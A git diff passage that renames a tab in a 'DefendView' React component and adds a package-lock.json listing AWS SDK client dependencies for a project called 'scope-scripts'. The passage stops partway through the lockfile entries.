- {/* Prioritization Sidebar */} + {/* Prioritization Sidebar — uses legacy prioritization[] array when present */} {/* Center: Tabbed content */} @@ -2288,7 +2317,7 @@ function DefendView({ data }) { { key: "technical", label: "Tech Recommendations" }, { key: "policies", label: "Policies" }, { key: "detections", label: "Detections" }, - { key: "controls", label: "Controls" }, + { key: "remediation", label: "Remediation" }, ].map((t) => (
diff --git a/package-lock.json b/package-lock.json new file mode 100644 index 0000000..3e5296b --- /dev/null +++ b/package-lock.json @@ -0,0 +1,3004 @@ +{ + "name": "scope-scripts", + "version": "1.14.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "scope-scripts", + "version": "1.14.0", + "dependencies": { + "@aws-sdk/client-account": "3.1032.0", + "@aws-sdk/client-api-gateway": "3.1032.0", + "@aws-sdk/client-apigatewayv2": "3.1032.0", + "@aws-sdk/client-bedrock": "3.1032.0", + "@aws-sdk/client-bedrock-agent": "3.1032.0", + "@aws-sdk/client-codebuild": "3.1032.0", + "@aws-sdk/client-cognito-identity": "3.1032.0", + "@aws-sdk/client-cognito-identity-provider": "3.1032.0", + "@aws-sdk/client-dynamodb": "3.1032.0", + "@aws-sdk/client-ec2": "3.1032.0", + "@aws-sdk/client-ecs": "3.1032.0", + "@aws-sdk/client-elastic-load-balancing": "3.1032.0", + "@aws-sdk/client-elastic-load-balancing-v2": "3.1032.0", + "@aws-sdk/client-iam": "3.1032.0", + "@aws-sdk/client-kms": "3.1032.0", + "@aws-sdk/client-lambda": "3.1032.0", + "@aws-sdk/client-organizations": "3.1032.0", + "@aws-sdk/client-rds": "3.1032.0", + "@aws-sdk/client-s3": "3.1032.0", + "@aws-sdk/client-secrets-manager": "3.1032.0", + "@aws-sdk/client-sns": "3.1032.0", + "@aws-sdk/client-sqs": "3.1032.0", + "@aws-sdk/client-ssm": "3.1032.0", + "@aws-sdk/client-sts": "3.1032.0" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@aws-crypto/crc32": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/crc32/-/crc32-5.2.0.tgz", + "integrity": "sha512-nLbCWqQNgUiwwtFsen1AdzAtvuLRsQS8rYgMuxCrdKf9kOssamGLuPwyTY9wyYblNr9+1XM8v6zoDTPPSIeANg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/@aws-crypto/crc32c": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/crc32c/-/crc32c-5.2.0.tgz", + "integrity": "sha512-+iWb8qaHLYKrNvGRbiYRHSdKRWhto5XlZUEBwDjYNf+ly5SVYG6zEoYIdxvf5R3zyeP16w4PLBn3rH1xc74Rag==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-crypto/sha1-browser": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/sha1-browser/-/sha1-browser-5.2.0.tgz", + "integrity": "sha512-OH6lveCFfcDjX4dbAvCFSYUjJZjDr/3XJ3xHtjn3Oj5b9RjojQo8npoLeA/bNwkOkrSQ0wgrHzXk4tDRxGKJeg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/supports-web-crypto": "^5.2.0", + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "@aws-sdk/util-locate-window": "^3.0.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-crypto/sha1-browser/node_modules/@smithy/is-array-buffer": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", + "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/sha1-browser/node_modules/@smithy/util-buffer-from": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", + "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/is-array-buffer": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/sha1-browser/node_modules/@smithy/util-utf8": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", + "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-buffer-from": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/sha256-browser": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-browser/-/sha256-browser-5.2.0.tgz", + "integrity": "sha512-AXfN/lGotSQwu6HNcEsIASo7kWXZ5HYWvfOmSNKDsEqC4OashTp8alTmaz+F7TC2L083SFv5RdB+qU3Vs1kZqw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-js": "^5.2.0", + "@aws-crypto/supports-web-crypto": "^5.2.0", + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "@aws-sdk/util-locate-window": "^3.0.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/is-array-buffer": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", + "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/util-buffer-from": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", + "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/is-array-buffer": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/sha256-browser/node_modules/@smithy/util-utf8": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", + "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-buffer-from": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/sha256-js": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/sha256-js/-/sha256-js-5.2.0.tgz", + "integrity": "sha512-FFQQyu7edu4ufvIZ+OadFpHHOt+eSTBaYaki44c+akjg7qZg9oOQeLlk77F6tSYqjDAFClrHJk9tMf0HdVyOvA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/util": "^5.2.0", + "@aws-sdk/types": "^3.222.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=16.0.0" + } + }, + "node_modules/@aws-crypto/supports-web-crypto": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/supports-web-crypto/-/supports-web-crypto-5.2.0.tgz", + "integrity": "sha512-iAvUotm021kM33eCdNfwIN//F77/IADDSs58i+MDaOqFrVjZo9bAal0NK7HurRuWLLpF1iLX7gbWrjHjeo+YFg==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-crypto/util": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@aws-crypto/util/-/util-5.2.0.tgz", + "integrity": "sha512-4RkU9EsI6ZpBve5fseQlGNUWKMa1RLPQ1dnjnQoe07ldfIzcsGb5hC5W0Dm7u423KWzawlrpbjXBrXCEv9zazQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-sdk/types": "^3.222.0", + "@smithy/util-utf8": "^2.0.0", + "tslib": "^2.6.2" + } + }, + "node_modules/@aws-crypto/util/node_modules/@smithy/is-array-buffer": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/is-array-buffer/-/is-array-buffer-2.2.0.tgz", + "integrity": "sha512-GGP3O9QFD24uGeAXYUjwSTXARoqpZykHadOmA8G5vfJPK0/DC67qa//0qvqrJzL1xc8WQWX7/yc7fwudjPHPhA==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/util/node_modules/@smithy/util-buffer-from": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.2.0.tgz", + "integrity": "sha512-IJdWBbTcMQ6DA0gdNhh/BwrLkDR+ADW5Kr1aZmd4k3DIF6ezMV4R2NIAmT08wQJ3yUK82thHWmC/TnK/wpMMIA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/is-array-buffer": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-crypto/util/node_modules/@smithy/util-utf8": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.3.0.tgz", + "integrity": "sha512-R8Rdn8Hy72KKcebgLiv8jQcQkXoLMOGGv5uI1/k0l+snqkOzQ1R0ChUBCxWMlBsFMekWjq0wRudIweFs7sKT5A==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-buffer-from": "^2.2.0", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@aws-sdk/client-account": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-account/-/client-account-3.1032.0.tgz", + "integrity": "sha512-vkBp9MJhnc49qXlB8SYEc6OOahMGCr1lmyDkvPbF64mc+fas5gxzSj+cZNKJDrVCtWYYWfIi6mGSn1GBMHBrtg==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-api-gateway": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-api-gateway/-/client-api-gateway-3.1032.0.tgz", + "integrity": "sha512-Vy+fyoj1fBofHBaf39Td9Nyp5wMXK/kIm9ZgxTw06oV1xtAs43YbTT+p53hHCs+buzqw28NCvrA32VKajPn/qw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-sdk-api-gateway": "^3.972.10", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-stream": "^4.5.23", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-apigatewayv2": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-apigatewayv2/-/client-apigatewayv2-3.1032.0.tgz", + "integrity": "sha512-axnUF+h+J8TkrXdjis9tVValltdIApuXXd6lEHhMM+l2kO3igCjXldY1CXkJkOT8bgaD3/7FdMC87ccXsE4CNQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-stream": "^4.5.23", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-bedrock": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock/-/client-bedrock-3.1032.0.tgz", + "integrity": "sha512-r8SoLJ0RyGUaNqRMMCr7X4Y9atZtcyWsK4b7HkJZm4IFHJm3AVtTOZrc/xLAmhjy9peOoNCMcRPBmBjfEiHgiw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/token-providers": "3.1032.0", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-bedrock-agent": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-agent/-/client-bedrock-agent-3.1032.0.tgz", + "integrity": "sha512-Sgt0zJMeQnBtJe0AQy2LsTthGlCrDX5J3SqqNizc77/ORs/amxeWoAGA2ZBUdY/kfSpccYyC+vvd8b1YRuiRJQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-codebuild": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-codebuild/-/client-codebuild-3.1032.0.tgz", + "integrity": "sha512-Ibz4zzpSPnSNoIyLVeoJ8zc98XXfX1S0uW5O+W6Akx7cRkJDqqSsojGtrwmwmNIZM1qecYhcjsWlpw3Kus+iRQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-cognito-identity": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.1032.0.tgz", + "integrity": "sha512-TVgbjyb1fJoHZDoBAmW85hNcx00zxi5qXFG3wvS/2C213Q2PusCQIih7Zlub9mKE3iRtES5epxazFmp8jVeLyQ==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-cognito-identity-provider": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-cognito-identity-provider/-/client-cognito-identity-provider-3.1032.0.tgz", + "integrity": "sha512-sdoZosLkiA9EHYg3nOTNrbiyNQaZfDXPIegznlxe7faF0xfLLecMuBZzlwGFSO6b4L4369RbJIx19+eCQ5mmzw==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + "@aws-sdk/util-endpoints": "^3.996.7", + "@aws-sdk/util-user-agent-browser": "^3.972.10", + "@aws-sdk/util-user-agent-node": "^3.973.17", + "@smithy/config-resolver": "^4.4.16", + "@smithy/core": "^3.23.15", + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/hash-node": "^4.2.14", + "@smithy/invalid-dependency": "^4.2.14", + "@smithy/middleware-content-length": "^4.2.14", + "@smithy/middleware-endpoint": "^4.4.30", + "@smithy/middleware-retry": "^4.5.3", + "@smithy/middleware-serde": "^4.2.18", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/node-http-handler": "^4.5.3", + "@smithy/protocol-http": "^5.3.14", + "@smithy/smithy-client": "^4.12.11", + "@smithy/types": "^4.14.1", + "@smithy/url-parser": "^4.2.14", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-body-length-browser": "^4.2.2", + "@smithy/util-body-length-node": "^4.2.3", + "@smithy/util-defaults-mode-browser": "^4.3.47", + "@smithy/util-defaults-mode-node": "^4.2.52", + "@smithy/util-endpoints": "^3.4.1", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-retry": "^4.3.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/@aws-sdk/client-dynamodb": { + "version": "3.1032.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-dynamodb/-/client-dynamodb-3.1032.0.tgz", + "integrity": "sha512-kkXiZBNdWCQAg/8opqAu10TxzdpqMkcGrNAT2ScdfWhCpzYZ2pmSpP8W7BOlA32jYIWnYrEdb808UZsNWYBPAA==", + "license": "Apache-2.0", + "dependencies": { + "@aws-crypto/sha256-browser": "5.2.0", + "@aws-crypto/sha256-js": "5.2.0", + "@aws-sdk/core": "^3.974.1", + "@aws-sdk/credential-provider-node": "^3.972.32", + "@aws-sdk/dynamodb-codec": "^3.973.1", + "@aws-sdk/middleware-endpoint-discovery": "^3.972.11", + "@aws-sdk/middleware-host-header": "^3.972.10", + "@aws-sdk/middleware-logger": "^3.972.10", + "@aws-sdk/middleware-recursion-detection": "^3.972.11", + "@aws-sdk/middleware-user-agent": "^3.972.31", + "@aws-sdk/region-config-resolver": "^3.972.12", + "@aws-sdk/types": "^3.973.8", + 